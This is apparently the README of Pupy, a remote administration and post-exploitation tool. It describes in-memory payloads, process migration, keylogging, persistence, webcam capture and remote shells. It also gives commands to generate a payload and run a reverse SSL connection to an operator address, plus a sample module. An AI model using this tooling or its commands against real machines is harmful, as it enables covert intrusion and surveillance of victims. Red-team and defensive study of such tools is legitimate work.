• On windows, the Pupy payload is compiled as a reflective DLL and the whole python interpreter is loaded from memory. Pupy does not touch the disk :)
• Pupy can reflectively migrate into other processes
• Pupy can remotely import, from memory, pure python packages (.py, .pyc) and compiled python C extensions (.pyd). The imported python modules do not touch the disk. (.pyd mem import currently work on Windows only, .so memory import is not implemented).
• modules are quite simple to write and pupy is easily extensible.
• Pupy uses rpyc and a module can directly access python objects on the remote client
  • we can also access remote objects interactively from the pupy shell and even auto completion of remote attributes works !
• communication channel currently works as a ssl reverse connection, but a bind payload will be implemented in the future
• all the non interactive modules can be dispatched on multiple hosts in one command
• Multi-platform (tested on windows 7, windows xp, kali linux, ubuntu)
• modules can be executed as background jobs
• commands and scripts running on remote hosts are interruptible
• auto-completion and nice colored output :-)
• commands aliases can be defined in the config

• migrate (windows only)
  • inter process architecture injection also works (x86->x64 and x64->x86)
• keylogger (windows only)
• persistence (windows only)
• screenshot (windows only)
• webcam snapshot (windows only)
• command execution
• download
• upload
• socks5 proxy
• local port forwarding
• interactive shell (cmd.exe, /bin/sh, ...)
• interactive python shell
• shellcode exec (thanks to @byt3bl33d3r)

./genpayload.py 192.168.0.1 -p 443 -t exe_x86 -o pupyx86.exe

pip install rpyc #(or manually copy it if you are not admin)
python reverse_ssl.py 192.168.0.1:443

easy_install rpyc #(or manually copy it if you are not admin)
python reverse_ssl.py 192.168.0.1:443

1. eventually edit pupy.conf to change the bind address / port
2. start the pupy server :

./pupysh.py

import ctypes
import threading

def MessageBox(text, title):
    t=threading.Thread(target=ctypes.windll.user32.MessageBoxA, args=(None, text, title, 0))
    t.daemon=True
    t.start()

class MsgBoxPopup(PupyModule):
    """ Pop up a custom message box """

    def init_argparse(self):
        self.arg_parser = PupyArgumentParser(prog="msgbox", description=self.__doc__)
        self.arg_parser.add_argument('--title', help='msgbox title')
        self.arg_parser.add_argument('text', help='text to print in the msgbox :)')

    @windows_only
    def is_compatible(self):
        pass

    def run(self, args):
        self.client.load_package("pupwinutils.msgbox")
        self.client.conn.modules['pupwinutils.msgbox'].MessageBox(args.text, args.title)
        self.log("message box popped !")

• support for https proxy
• bind instead of reverse connection
• add offline options to payloads like enable/disable certificate checking, embed offline modules (persistence, keylogger, ...), etc...
• integrate scapy in the windows dll :D (that would be fun)
• work on stealthiness and modules under unix systems
• webcam snap
• mic recording
• socks5 udp support
• remote port forwarding
• perhaps write some documentation
• ...
• any cool idea ?